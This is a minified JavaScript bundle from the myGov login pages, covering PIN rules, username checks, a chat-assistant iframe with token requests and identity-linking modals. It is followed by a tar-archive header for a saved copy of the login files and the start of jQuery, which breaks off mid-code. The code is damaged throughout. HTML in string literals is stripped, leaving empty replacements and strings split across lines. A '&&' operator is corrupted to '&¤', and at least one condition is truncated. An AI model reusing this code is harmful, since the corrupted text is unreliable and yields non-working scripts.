uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this mobile number set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('');break;case"false":$(".button-main").replaceWith('Next');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&¤tHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html(" Show");$showhelp.replaceWith("

"+$showpinhelptext+"

");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html(" Hide");$hidehelp.replaceWith("

"+$hidepinhelptext+"

");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='
'+'
'+'

'+headingTitle+"

"+'
'+"
"+"
";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='
'+'
'+'
'+'

'+headingTitle+"

"+''+'
'+"
"+"
";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("Skip to '+titleBarTitle+"");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/login_files/mgv2-vendor.js.download000064400000450717151676702570015327 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var 